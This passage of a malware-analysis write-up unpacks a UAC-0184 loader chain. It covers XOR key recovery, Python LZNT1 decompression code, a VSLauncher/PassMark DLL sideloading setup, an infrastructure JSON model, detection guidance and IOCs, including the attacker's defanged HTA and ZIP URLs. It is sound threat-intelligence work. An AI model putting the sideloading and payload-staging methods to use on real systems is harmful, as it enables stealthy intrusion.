From the disassembly, the decoder function at 0x26D performs DWORD-wise XOR. So no RC4, no AES, no fancy stream cipher.

Just a constant 32-bit key.

The annoying part is finding that key.

What I tried first, unsuccessfully:

  • XOR with the CRC of a chunk: nonsense
  • derive the key from the chunk header, for example the IDAT type DWORD as seed: almost PE-looking output, but no clean MZ at a sane offset
  • per-chunk keys: same problem
  • use the first chunk bytes as key material against the rest: first few KB look English-ish, then noise

At some point the obvious thing clicked.

If the plaintext contains enough zeroes and a PE file usually contains plenty of zero-padding between sections, alignment bytes and header gaps, then the key itself should become the most frequent DWORD value in the ciphertext distribution.

Because:

0x00000000 XOR key = key

Frequency analysis across all 32-bit values in the concatenated IDAT stream gave two clear peaks:

0x227E9BDE~7400×
0x22719BD1~6300×

The delta between them is 0x000F0007, suspiciously close to a repeated low-pattern structure. That was enough evidence to commit to 0x227E9BDE as the key.

DWORD-wise XOR with 0x227E9BDE over the full IDAT data gives an output whose tail looks like this:

... de 9b 7e 22 de 9b 7e 22 de 9b 7e 22 de 9b 7e 22

That is the fingerprint of a stream that originally ended with zero-padding. Every null DWORD XORs back into the key bytes.

Key confirmed. Nice 🙂

Stage 4: LZNT1 and 16 bytes that wasted a few minutes

After XOR, the buffer is 1,358,904 bytes large.

The first 16 bytes are:

0000  18 3e 07 c8 00 00 00 00 c8 2c 6a 22 ca 2e 60 22

After that, the buffer almost looks like a PE. There are MZ-like sequences and many printable bytes. But it still does not decode cleanly.

There is one more layer.

When dumping the data in 9-byte rows, the structure becomes visible: one flag byte followed by 8 items. Each bit in the flag byte decides whether the corresponding item is a literal byte or a 16-bit back-reference.

That is LZNT1, the Microsoft NT-LZ77 compression format used by RtlCompressBuffer and RtlDecompressBuffer with COMPRESSION_FORMAT_LZNT1.

Bonus confirmation: the decoded shellcode already contained the string fragment Rtl... in its API resolver table. The shellcode resolves RtlDecompressBuffer at runtime.

So yes, we could have emulated the shellcode with Unicorn instead of implementing LZNT1 ourselves. But where would be the fun in that.

LZNT1 is specified in MS-XCA section 2.5. The format is chunk-based:

  • 16-bit chunk header: (size - 1) | flags
  • bit 15 indicates compressed
  • bits 12 to 14 contain the signature
  • bits 0 to 11 contain size - 1
  • compressed chunks contain sequences of one flag byte plus 8 items
  • each flag bit selects literal versus back-reference
  • the offset and length bit split of a back-reference changes depending on the position in the chunk

I used a small Python implementation over the XOR output starting at byte 16.

Click to view Code
def lznt1_decompress(src):
    out = bytearray(); pos = 0
    while pos + 2 <= len(src):
        hdr = int.from_bytes(src[pos:pos+2], 'little'); pos += 2
        if hdr == 0: break
        size = (hdr & 0x0FFF) + 1
        compressed = (hdr & 0x8000) != 0
        chunk_end = min(pos + size, len(src))
        if not compressed:
            out.extend(src[pos:chunk_end]); pos = chunk_end; continue
        chunk_start = len(out)
        while pos < chunk_end:
            flags = src[pos]; pos += 1
            for bit in range(8):
                if pos >= chunk_end: break
                if (flags >> bit) & 1 == 0:
                    out.append(src[pos]); pos += 1
                else:
                    if pos + 2 > chunk_end: break
                    word = int.from_bytes(src[pos:pos+2], 'little'); pos += 2
                    rel = len(out) - chunk_start
                    obits = 4; x = rel - 1
                    while x >= 0x10: obits += 1; x >>= 1
                    obits = max(4, obits)
                    lbits = 16 - obits
                    length = (word & ((1 << lbits) - 1)) + 3
                    offset = (word >> lbits) + 1
                    s = len(out) - offset
                    for _ in range(length):
                        out.append(out[s]); s += 1
        pos = chunk_end
    return bytes(out)

Output: 2017635 bytes.

The first MZ appears at offset 0x4F0.
Before that are 1264 bytes of structured loader configuration.
So we have the final payload unpacked.
The meaning of the 16 bytes before the LZNT1 stream remains open:

18 3e 07 c8 00 00 00 00 c8 2c 6a 22 ca 2e 60 22

It looks like an original-size DWORD plus 12 bytes of metadata, maybe CRC and flags.
The unpacking works without interpreting it, so I am leaving that open for now.

What is inside the 2 MB payload?

The first 0x4F0 bytes are loader configuration.

They contain mixed UTF-16LE and ASCII strings:

0x011  ' CC_amd64'           (UTF-16LE)   — architecture tag
0x045  '%APPDATA%'            (UTF-16LE)   — drop path variable
0x0F4  '%windir%\SysWOW64\input.dll'      — final on-disk path
0x163  'VSLauncher.exe'                   — sideload host (×2)

VSLauncher.exe is the Microsoft Visual Studio Version Selector.

It is Microsoft-signed and a known DLL hijack target because of loose import resolution and the trusted publisher chain. The deployment plan is therefore straightforward:

  1. Drop input.dll next to a copy of VSLauncher.exe under %windir%\SysWOW64\.
  2. Start VSLauncher.exe.
  3. Let it side-load input.dll.
  4. Run the DLL inside a Microsoft-signed process tree.
  5. Enjoy the optics. Apparently that is what we do now.

After the config, there are 8 PE files back-to-back.

#OffsetArchSizeWas es ist
10x004F0i386 EXE433 KBPassMark Endpoint (signed Sectigo)
20x0809D2i386 EXE287 KBInfo-ZIP unzip.exe
30x0CBEAAx64 EXE6.5 KBsmall helper
40x11E1AEi386 EXE3 KBstub
50x11EDAEx64 EXE113 KBx64 console tool
60x13A7AEi386 DLL2.5 KBsmall DLL
70x13B1AEx64 DLL3 KBsmall DLL
80x13BE9Ai386 EXE102 KBMicrosoft SqlExpressChk.exe

I carved them by parsing PE headers and walking the section table to calculate disk size.

The remaining data after the last PE contains stacked Authenticode signature chains, including Sectigo Public Code Signing Root R46 and Microsoft Time-Stamp PCA. These PKCS#7 blobs are likely parsed at runtime so the dropped files can satisfy local Authenticode verification.

The two most interesting hashes are:

input.dll (PassMark Endpoint)   b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 (SqlExpressChk)           33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

I checked all eight PEs. Each one is a legitimately signed, publicly available, normally benign Windows utility.

None of them contains a hardcoded C2.

Why bundle a network testing tool?

At first glance, PassMark Endpoint as malware payload makes no sense.

PassMark Endpoint is the network component of PassMark BurnInTest.

Three properties matter:

  • it listens on UDP 224.0.0.255:31339 for multicast peer discovery
  • the discovery packet contains MSG_EPFIND in cleartext
  • it speaks the BurnInTest TCP protocol on port 31339 for peer-to-peer data transfer
  • it imports the full Winsock 2 stack: socket, bind, connect, send, recv, select
  • it imports IPHLPAPI, including GetAdaptersAddresses and if_nametoindex
  • it imports PDH performance counters
  • and yes, it imports dbghelp!MiniDumpWriteDump

The last one is the giveaway.

MiniDumpWriteDump in a network test utility is already interesting. In this context it becomes very interesting.

With input.dll running inside a VSLauncher.exe process, the operator gets:

  • LAN multicast discovery on an unprivileged port
  • a bidirectional TCP channel on a port whose traffic plausibly looks like PassMark BurnInTest
  • process-memory dump capability via a Microsoft DLL the operator did not even need to ship
  • a very clean cover identity: Microsoft-signed host process, Sectigo-signed PassMark DLL, network traffic that looks like diagnostics

This is similar in spirit to the misuse of vmtoolsd.exe or OneDriveSetup.exe for proxy execution, but one layer higher.

Instead of borrowing only a signed loader, the actor borrows a complete signed network stack.

That is the part I actually find clever.

Annoying, but clever.

The C2 question

The C2 question

I will say it directly: I did not find a hardcoded C2 endpoint.

After going through the artifacts, I am fairly confident there is no static C2 baked into the files I analyzed.

What I checked:

  • all 8 bundled PEs
  • every IPv4-like and URL-like string
  • openvr_api.dll
  • the decoded shellcode string table around 0x16DD to 0x1810
  • certificate-related URLs
  • PE resources and side-loaded artifacts

Everything URL-like in the bundled PEs is either:

  • 224.0.0.255, used by PassMark multicast discovery
  • 0.0.0.0
  • certificate-distribution infrastructure from Sectigo, Comodo or UserTrust

openvr_api.dll contains mostly Comodo, UserTrust and Sectigo strings, plus a neat piece of steganography. The strings kernel-diag.lib at file offset 0x3CEF1 and filter.bin at 0x3CF62 are placed between legitimate-looking C++ RTTI typeinfo entries in .rdata.

That is the same trick direction as the .?AV?$numpunctfilter.bin substring behavior from earlier.

No direct DWORD cross-references from .text point to them.

The shellcode string table contains fragments like:

%APP
windir
.dll
fmsvc
ikep
http
http2
GET
RtlH
USER
%y...EF{DATA=

but no host.

The form of the strings is the hint.

%y is not a standard printf specifier. It looks like a custom placeholder used by the malware author for runtime substitution.
Together with the HTTP-related fragments, the most reasonable interpretation is that the URL is assembled at runtime from a value that is not present in the static artifacts.

There are three plausible sources for the %y value:

  • A peer answer from LAN multicast discovery.
    If a controller is already present inside the LAN, MSG_EPFIND against 224.0.0.255:31339 could return the controller address.
    The operator would not need to bake the address into the dropper at all.
  • A command-line argument or environment variable set by the operator at deployment time.
    This fits hands-on-keyboard tradecraft: drop the toolkit, trigger it with a one-off argument pointing to staging.
  • A value read from the parent process or another local file.
    The shellcode has dynamic API resolution and file-handling primitives, so this is realistic.

Infrastructure Intelligence Model: Mapping the UAC-0184 chain

At this point, the sample is not just a malware unpacking exercise anymore.

The interesting part is the structure around it: gated HTA delivery, a shared ZIP payload, a legitimate application used as execution cover, local staged blobs, a pseudo-PNG container and finally a signed network-capable utility stack.

That is exactly the kind of case where IIM is useful.

IOCs tell us what existed at analysis time.
ATT&CK describes the endpoint behavior.
IIM lets us describe how the infrastructure and payload-delivery structure is composed.

For this chain, I model the HTA and ZIP delivery as staging infrastructure, the Plane9 and OpenVR path as local payload composition, the ‘filter.bin’ pseudo-PNG as a staged container and the PassMark / VSLauncher part as a payload-side network surface.

One important boundary: I am not forcing the PassMark component into an existing IIM technique just because it looks convenient. The observed behavior is signed third-party network-stack reuse, not a classic cloud API or third-party web service C2. Until the catalog has a more exact technique for that, I keep it as an extension candidate.

You can find the chains/patterns on the Malwarebox IIM Feed and if you want to work with them try the IIM Workbench.

Click To View Chain (JSON)
{
  "iim_version": "1.1",
  "chain_id": "uac-0184-pseudo-png-passmark-2026-05",
  "title": "UAC-0184 gated HTA delivery to pseudo-PNG staged payload and PassMark network stack",
  "description": "Observed UAC-0184 chain from gated HTA and ZIP delivery into Plane9-based sideloading, encoded local blobs, pseudo-PNG IDAT staging, LZNT1 unpacking and a signed VSLauncher / PassMark network-capable payload bundle. The internal controller or C2 element remains tentative because no static C2 endpoint was present in the analyzed artifacts.",
  "actor_id": "UAC-0184",
  "confidence": "likely",
  "needs_review": true,
  "x_note": "PassMark network-stack reuse is intentionally not forced into an existing IIM technique. It is modeled as an extension candidate because the observed behavior is closer to signed third-party network protocol reuse than to classic third-party application C2.",
  "entities": [
    {
      "id": "e_lure_lnk",
      "type": "file",
      "value": "Ukraine-themed LNK lure",
      "evidence": [
        "Initial chain uses bitsadmin /transfer and mshta.exe"
      ]
    },
    {
      "id": "e_hta_set",
      "type": "url",
      "value": "hxxp://169.40.135.35/dctrpr/*.hta",
      "evidence": [
        "slippersuppity.hta",
        "basketpast.hta",
        "agentdiesel.hta"
      ]
    },
    {
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "169.40.135.35",
      "x_delivery_path": "/dctrpr/"
    },
    {
      "id": "e_zip",
      "type": "file",
      "value": "dctrprraclus.zip",
      "evidence": [
        "All observed HTA files pointed to the same ZIP archive"
      ]
    },
    {
      "id": "e_cluster",
      "type": "file",
      "value": "Cluster-Overlay64.exe",
      "x_path": "%APPDATA%\\ApplicationData32\\Cluster-Overlay64.exe",
      "x_legitimate_software": "Plane9"
    },
    {
      "id": "e_plane9",
      "type": "file",
      "value": "Plane9Engine.dll",
      "x_legitimate_software": "Plane9"
    },
    {
      "id": "e_openvr",
      "type": "file",
      "value": "openvr_api.dll",
      "x_sha256": "df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7"
    },
    {
      "id": "e_kernel",
      "type": "file",
      "value": "kernel-diag.lib",
      "x_sha256": "dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3",
      "x_decoder": "DWORD-add, offset 0x24D1, size 6160, key 0x213AB052"
    },
    {
      "id": "e_evr",
      "type": "file",
      "value": "evr.dll decoded stage",
      "evidence": [
        "Decoded from kernel-diag.lib",
        "Entry point 0xED0"
      ]
    },
    {
      "id": "e_filter",
      "type": "file",
      "value": "filter.bin",
      "x_sha256": "f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372",
      "x_format": "Noise prefix plus PNG-like IDAT and IEND chunk sequence without PNG magic",
      "x_decoder": "Concatenate IDAT data, DWORD XOR 0x227E9BDE, skip 16 bytes, decompress LZNT1"
    },
    {
      "id": "e_bundle",
      "type": "file",
      "value": "filter.bin decoded LZNT1 payload bundle",
      "x_size_bytes": 2017635,
      "x_first_mz_offset": "0x4F0"
    },
    {
      "id": "e_vslauncher",
      "type": "file",
      "value": "VSLauncher.exe",
      "x_path": "%windir%\\SysWOW64\\VSLauncher.exe",
      "x_publisher": "Microsoft",
      "x_role_note": "Signed sideload host"
    },
    {
      "id": "e_input",
      "type": "file",
      "value": "input.dll",
      "x_path": "%windir%\\SysWOW64\\input.dll",
      "x_sha256": "b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb",
      "x_product": "PassMark Endpoint",
      "x_candidate_technique": "Signed third-party network stack reuse"
    },
    {
      "id": "e_multicast",
      "type": "ip",
      "value": "224.0.0.255",
      "x_port": 31339,
      "x_protocol": "udp",
      "x_marker": "MSG_EPFIND"
    },
    {
      "id": "e_controller",
      "type": "ip",
      "value": "internal peer/controller",
      "x_port": 31339,
      "x_protocol": "tcp",
      "x_placeholder": true
    }
  ],
  "chain": [
    {
      "entity_id": "e_lure_lnk",
      "role": "entry",
      "techniques": [],
      "role_confidence": "likely"
    },
    {
      "entity_id": "e_hta_set",
      "role": "entry",
      "techniques": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "techniques": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021"
      ],
      "role_confidence": "likely",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_zip",
      "role": "staging",
      "techniques": [
        "IIM-T024",
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_cluster",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_plane9",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_openvr",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "review_notes": "Loader DLL. DLL sideloading itself maps to ATT&CK, not IIM."
    },
    {
      "entity_id": "e_kernel",
      "role": "staging",
      "techniques": [
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "needs_review": true
    },
    {
      "entity_id": "e_evr",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_filter",
      "role": "staging",
      "techniques": [
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "needs_review": true,
      "review_notes": "Pseudo-PNG local staging is a strong structural signal, but the current catalog has no exact official technique for this file-format abuse."
    },
    {
      "entity_id": "e_bundle",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_vslauncher",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely"
    },
    {
      "entity_id": "e_input",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "x_candidate_technique": "Signed third-party network stack reuse"
    },
    {
      "entity_id": "e_multicast",
      "role": "c2",
      "techniques": [],
      "role_confidence": "tentative",
      "needs_review": true
    },
    {
      "entity_id": "e_controller",
      "role": "c2",
      "techniques": [],
      "role_confidence": "tentative",
      "needs_review": true,
      "review_notes": "No hardcoded external C2 found. Internal peer/controller remains a hypothesis."
    }
  ],
  "relations": [
    {
      "from": "e_lure_lnk",
      "to": "e_hta_set",
      "type": "references",
      "sequence_order": 1,
      "confidence": "likely"
    },
    {
      "from": "e_hta_set",
      "to": "e_delivery_ip",
      "type": "connect",
      "sequence_order": 2,
      "confidence": "confirmed"
    },
    {
      "from": "e_delivery_ip",
      "to": "e_zip",
      "type": "download",
      "sequence_order": 3,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_cluster",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_plane9",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_openvr",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_kernel",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_filter",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_cluster",
      "to": "e_plane9",
      "type": "execute",
      "sequence_order": 5,
      "confidence": "likely"
    },
    {
      "from": "e_plane9",
      "to": "e_openvr",
      "type": "references",
      "sequence_order": 6,
      "confidence": "likely"
    },
    {
      "from": "e_openvr",
      "to": "e_kernel",
      "type": "references",
      "sequence_order": 7,
      "confidence": "confirmed"
    },
    {
      "from": "e_kernel",
      "to": "e_evr",
      "type": "drops",
      "sequence_order": 8,
      "confidence": "confirmed"
    },
    {
      "from": "e_evr",
      "to": "e_filter",
      "type": "references",
      "sequence_order": 9,
      "confidence": "confirmed"
    },
    {
      "from": "e_filter",
      "to": "e_bundle",
      "type": "drops",
      "sequence_order": 10,
      "confidence": "confirmed"
    },
    {
      "from": "e_bundle",
      "to": "e_vslauncher",
      "type": "drops",
      "sequence_order": 11,
      "confidence": "confirmed"
    },
    {
      "from": "e_bundle",
      "to": "e_input",
      "type": "drops",
      "sequence_order": 11,
      "confidence": "confirmed"
    },
    {
      "from": "e_vslauncher",
      "to": "e_input",
      "type": "execute",
      "sequence_order": 12,
      "confidence": "likely"
    },
    {
      "from": "e_input",
      "to": "e_multicast",
      "type": "communicates-with",
      "sequence_order": 13,
      "confidence": "confirmed"
    },
    {
      "from": "e_multicast",
      "to": "e_controller",
      "type": "communicates-with",
      "sequence_order": 14,
      "confidence": "tentative"
    },
    {
      "from": "e_input",
      "to": "e_controller",
      "type": "connect",
      "sequence_order": 15,
      "confidence": "tentative"
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1197",
      "name": "BITS Jobs",
      "comment": "bitsadmin-style transfer behavior in the initial chain."
    },
    {
      "technique_id": "T1218.005",
      "name": "Mshta",
      "comment": "HTA execution path through mshta.exe."
    },
    {
      "technique_id": "T1574.001",
      "name": "DLL Search Order Hijacking",
      "comment": "Plane9 and VSLauncher sideloading paths."
    },
    {
      "technique_id": "T1027",
      "name": "Obfuscated Files or Information",
      "comment": "Encoded blobs, pseudo-PNG IDAT staging, XOR and LZNT1 layers."
    },
    {
      "technique_id": "T1105",
      "name": "Ingress Tool Transfer",
      "comment": "Payload archive retrieval from delivery infrastructure."
    }
  ]
}

Chain Visualization:

The simplified chain looks like this:

entry      Ukraine-themed LNK lure
entry      gated HTA set on 169.40.135.35
staging    dctrprraclus.zip
staging    Plane9 host plus openvr_api.dll loader
staging    kernel-diag.lib decoded to evr.dll
staging    filter.bin pseudo-PNG IDAT structure
payload    decoded LZNT1 bundle
payload    VSLauncher.exe plus PassMark input.dll
c2         224.0.0.255:31339 UDP discovery
c2         possible internal peer/controller, tentative

The useful structural pattern is not the hash of filter.bin.

The useful pattern is this:

(:entry {gated})
  -> (:staging {archive})
  -> (:staging {legitimate host and side-loaded loader})
  -> (:staging {encoded local blob})
  -> (:staging {pseudo-file-format container})
  -> (:payload {signed utility stack})
  -> (:c2 {local discovery or internal control, tentative})

Defensive playbook

Enough attacker-side fun. Here is the defensive part.

Network signals, high confidence

Look for UDP traffic to:

224.0.0.255:31339

from hosts where PassMark BurnInTest should not be installed.

The discovery packets contain MSG_EPFIND in cleartext and can be fingerprinted on the wire.

Also hunt for TCP traffic on:

31339/tcp

between internal hosts where there is no legitimate PassMark deployment.
If this appears in your network and IT did not set up BurnInTest, investigate.
Also look for HTTP fetches against bare IPs with no hostname and bitsadmin-style user agents.

Process and host signals

VSLauncher.exe running outside a normal Visual Studio path is suspicious, especially if the working directory contains input.dll.

The path %windir%\SysWOW64\ is particularly relevant for this campaign.

Watch for MiniDumpWriteDump calls from a VSLauncher.exe process. That should be ETW-visible with reasonable telemetry. There is no normal reason for Visual Studio Version Selector to dump process memory in this context.

Watch for Plane9 or Cluster-Overlay64.exe execution from non-user-installed paths, for example:

%APPDATA%\ApplicationData32\

Plane9 is an audio visualizer. If it appears from a weird application data directory as part of a staged loader chain, that is not your user’s sudden love for generative music visuals.

File creation events of interest:

%APPDATA%\ApplicationData32\Cluster-Overlay64.exe
%APPDATA%\ApplicationData32\openvr_api.dll
%APPDATA%\ApplicationData32\filter.bin
%APPDATA%\ApplicationData32\kernel-diag.lib
%windir%\SysWOW64\input.dll
%windir%\SysWOW64\VSLauncher.exe
Initial access signals

Look for LNK files with command-line arguments containing:

bitsadmin /transfer
mshta.exe

Especially when paired with temporary-looking filename patterns such as ~tmp(...).
Also hunt for HTTP fetches of HTA files from bare-IP infrastructure, such as:

169.40.135.35

The observed HTAs all point to dctrprraclus.zip as the payload archive.

IOC dump

SHA-256
kernel-diag.lib
dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3
filter.bin
f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372
openvr_api.dll
df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7
input.dll
b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 SqlExpChk
33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

Network
hxxp://169.40.135.35/dctrpr/slippersuppity.hta
hxxp://169.40.135.35/dctrpr/basketpast.hta
hxxp://169.40.135.35/dctrpr/agentdiesel.hta
hxxp://169.40.135.35/dctrprraclus.zip
224.0.0.255:31339 UDP PassMark multicast, repurposed
31339/tcp BurnInTest data channel, repurposed

On-disk paths
%APPDATA%\ApplicationData32\Cluster-Overlay64.exe
%APPDATA%\ApplicationData32\openvr_api.dll
%APPDATA%\ApplicationData32\filter.bin
%APPDATA%\ApplicationData32\kernel-diag.lib
%windir%\SysWOW64\input.dll
%windir%\SysWOW64\VSLauncher.exe

Pipeline keys
kernel-diag.lib decoder:
DWORD-add, offset 0x24D1, size 6160, key 0x213AB052
filter.bin IDAT XOR key:
0x227E9BDE, DWORD-wise XOR
filter.bin post-XOR:
skip 16-byte header, then LZNT1 using RtlDecompressBuffer format

What remains open

One thing still bothers me: the source of the %y substitution value.

There are two good next steps:

  1. Dynamic detonation in a sandboxed LAN with a fake PassMark Endpoint peer on 224.0.0.255:31339, to see whether the dropper picks a controller address from the multicast reply.
  2. Manual disassembly of the openvr_api.dll exports VR_InitInternal and LiquidVR, where the real loader logic lives.
    The malicious code that builds the context structure passed to evr.dll likely sits there and the value that fills %y is probably set before the shellcode runs.

Both are doable, but this post is already longer than usual.
If one of those paths gives a clean answer, that belongs in a follow-up.

Final words

So, that is the UAC-0184 chain from LNK to bitsadmin and HTA, into a DLL sideloading setup, through two staged decoders, then into a signed Microsoft and Sectigo-backed utility stack that appears to borrow its own network layer.

The most important finding is not a single hash and not a single URL.

It is the structure:

  • gated HTA delivery
  • archive-based staging
  • legitimate software as execution cover
  • encoded local blobs
  • PNG chunk abuse without a real PNG header
  • DWORD XOR plus LZNT1 decoding
  • signed PassMark network functionality repurposed as cover
  • no static external C2 in the analyzed artifacts

That is the part worth tracking.

As always, if you want to go through the sample yourself, the hashes are above.
And if someone finds the %y source before I do, please ping me through the usual channels.
I would actually like to know 🙂